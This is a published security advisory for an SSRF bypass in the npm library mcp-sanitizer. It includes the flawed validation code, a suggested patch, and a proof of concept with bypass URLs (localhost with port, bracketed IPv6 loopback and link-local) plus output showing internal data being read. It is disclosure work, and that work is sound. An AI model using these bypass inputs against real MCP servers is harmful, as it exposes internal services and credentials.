GHSA-4mfg-r38w-w8fg mcp-sanitizer: URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6

Not scored Published
Exploited in the wild
Not known
Fix
Available

What is GHSA-4mfg-r38w-w8fg?

GHSA-4mfg-r38w-w8fg is a vulnerability in mcp-sanitizer, published on 28 Oct 2026.

Official description

URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6

Summary

mcp-sanitizer v1.3.3 fails to block Server-Side Request Forgery (SSRF) targets when a localhost URL includes an explicit port (e.g., http://localhost:8080/) or when an IPv6 loopback/link-local address is expressed in bracketed notation (e.g., http://[::1]:8080/, http://[fe80::1]:8080/). Because the library is explicitly designed to gate MCP tool parameters such as web_fetch and web_scraper before outbound HTTP requests are made, a bypass here directly enables an attacker-controlled URL to reach internal services, leaking their responses.

Details

The vulnerability exists in src/utils/validation-utils.js inside the validateURLLocation() function that is called by _secureSanitizeURL() in src/sanitizer/mcp-sanitizer.js:698.

Bug 1 — Port-guarded localhost check (line 274–276):

// src/utils/validation-utils.js:274-276
if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {
  throw new Error('URL points to localhost without explicit port');
}

The && !parsedUrl.port guard means that any localhost URL that includes a port number is not thrown. http://localhost:8080/ passes the check entirely, returning blocked: false with the original URL preserved.

Bug 2 — Bracketed IPv6 hostname mismatch (lines 272, 293–295):

// src/utils/validation-utils.js:293-295
if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {
  throw new Error(`URL points to link-local address: ${hostname}`);
}

The Node.js URL API returns parsedUrl.hostname for IPv6 addresses with surrounding brackets: [::1], [fe80::1]. The string comparison hostname === '::1' (line 274) and hostname.startsWith('fe80:') (line 293) therefore never match, because the actual string starts with [.

Data flow through the middleware:

  1. src/middleware/express.js:499 — tool name derived from req.params.toolName || req.body?.tool_name.
  2. src/middleware/express.js:548-554 — web_scraper/web_fetch params.url forwarded to sanitizer.sanitize(url, { type: 'url' }).
  3. src/sanitizer/mcp-sanitizer.js:527-528 — context type url routes to _secureSanitizeURL().
  4. src/sanitizer/mcp-sanitizer.js:698-700 — validateURLLocation(parsedUrl) called; on success, parsedUrl.toString() returned to caller as the sanitized, trusted URL.

Both bugs are in the default code path; no special configuration is required to trigger them.

Suggested patch:

--- a/src/utils/validation-utils.js
+++ b/src/utils/validation-utils.js
@@ const { URL } = require('url');
+const net = require('net');
@@ 
-  const hostname = parsedUrl.hostname.toLowerCase();
+  const hostname = parsedUrl.hostname.toLowerCase().replace(/^\[|\]$/g, '').replace(/\.$/, '');
@@ 
-  if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {
-    throw new Error('URL points to localhost without explicit port');
+  if (hostname === 'localhost' || hostname.endsWith('.localhost') || hostname === '::1') {
+    throw new Error('URL points to localhost or loopback');
   }
@@ 
-  if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {
+  if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:') ||
+      hostname.startsWith('fc') || hostname.startsWith('fd')) {
     throw new Error(`URL points to link-local address: ${hostname}`);
   }
+
+  if (net.isIP(hostname) === 6 && (hostname === '::1' || hostname.startsWith('fe80:'))) {
+    throw new Error(`URL points to restricted IPv6 address: ${hostname}`);
+  }

PoC

Prerequisites: Docker installed; no other dependencies required.

1. Build the Docker image:

docker build \
  -f vuln-001/Dockerfile \
  -t vuln-001-mcp-sanitizer \
  reports/npmAI_754_starman69__mcp-sanitizer

2. Run the PoC:

docker run --rm vuln-001-mcp-sanitizer

The poc.py script inside the image:

  • Starts a mock internal HTTP service on 127.0.0.1:8080 serving the string INTERNAL_SECRET_DATA_9f3a2b1c.
  • Calls sanitizer.sanitize(url, { type: 'url' }) via Node.js for five URLs (two expected-blocked, three bypass candidates).
  • Performs an actual GET http://localhost:8080/ using the sanitizer-approved URL and confirms the secret is returned.

Expected output (abbreviated):

[BYPASS_CONFIRMED] http://localhost:8080/  blocked=False  sanitized=http://localhost:8080/
[BYPASS_CONFIRMED] http://[::1]:8080/     blocked=False  sanitized=http://[::1]:8080/
[BYPASS_CONFIRMED] http://[fe80::1]:8080/ blocked=False  sanitized=http://[fe80::1]:8080/
[SSRF HTTP 200] GET http://localhost:8080/ => 'INTERNAL_SECRET_DATA_9f3a2b1c\npath=/'
[!!!] INTERNAL SECRET EXFILTRATED: INTERNAL_SECRET_DATA_9f3a2b1c
RESULT: PASS - SSRF bypass fully demonstrated end-to-end

Baseline controls confirm the library does block http://localhost/ and http://127.0.0.1/ (blocked: true), proving the bypasses are not a general failure but a precise gap in the validation logic.

Minimal inline repro (no Docker):

# Inside the mcp-sanitizer repository root (npm ci first)
node - <<'NODE'
const MCPSanitizer = require('./src/sanitizer/mcp-sanitizer');
const sanitizer = new MCPSanitizer();
for (const url of [
  'http://localhost:8080/',
  'http://[::1]:8080/',
  'http://[fe80::1]:8080/'
]) {
  const r = sanitizer.sanitize(url, { type: 'url' });
  console.log(url, '=> blocked=', r.blocked, 'sanitized=', r.sanitized);
}
NODE

Impact

This is a Server-Side Request Forgery (SSRF) vulnerability. Any application that:

  1. Uses mcp-sanitizer's sanitize() / createMCPToolMiddleware() as the security boundary for outbound URLs, and
  2. Passes the returned sanitized URL to an HTTP client (the library's documented intended use for web_fetch/web_scraper MCP tools),

is exploitable by any party that can supply the url parameter — typically an unauthenticated network attacker in an MCP server deployment.

Consequences:

  • Confidentiality (High): The attacker can retrieve responses from internal services such as cloud metadata endpoints (e.g., http://169.254.169.254/), admin panels, or any localhost daemon, potentially exposing credentials, tokens, or sensitive configuration.
  • Integrity (Low): If internal services expose writable APIs, the attacker can trigger state changes or issue commands via HTTP.
  • Availability: Not directly impacted.

The vulnerability requires no authentication, no special configuration, and no user interaction; it is exploitable in the default middleware path.

Reproduction artifacts

Dockerfile

FROM node:18-alpine

# Install Python3 for the PoC script
RUN apk add --no-cache python3

WORKDIR /app

# Copy package files first for better layer caching
COPY repo/package.json repo/package-lock.json ./

# Install Node.js dependencies (clean install, no dev deps)
RUN npm ci --ignore-scripts --omit=dev

# Copy library source
COPY repo/src ./src/

# Copy PoC script
COPY vuln-001/poc.py ./poc.py

# Run the PoC by default
CMD ["python3", "poc.py"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: mcp-sanitizer SSRF bypass via localhost+port and IPv6 bracket notation
Library: mcp-sanitizer v1.3.3 (commit caff5d6)
CWE-918: Server-Side Request Forgery
CVSS 3.1: 8.2 (High)

Root cause:
  src/utils/validation-utils.js:274:
    if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port)
  - The "&& !parsedUrl.port" guard means any localhost URL WITH a port bypasses the block.
  - Node.js URL API returns hostname as "[::1]" / "[fe80::1]" (with brackets) for IPv6,
    so the string equality check against "::1" and startsWith("fe80:") both silently fail.

Attack scenario:
  1. Attacker controls the "url" parameter of a web_fetch / web_scraper MCP tool call.

Which versions are affected by GHSA-4mfg-r38w-w8fg?

2 open source packages ship an affected version, including mcp-sanitizer.

PackageAffectedFixed in
mcp-sanitizer npmAll versions1.4.0
mcp-sanitizer npmAll versions1.4.0

How do I fix GHSA-4mfg-r38w-w8fg?

Upgrade mcp-sanitizer to 1.4.0 or later.

Is GHSA-4mfg-r38w-w8fg being exploited?

There is no known exploitation of GHSA-4mfg-r38w-w8fg in the wild and no public exploit code.

Sources

Is GHSA-4mfg-r38w-w8fg in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free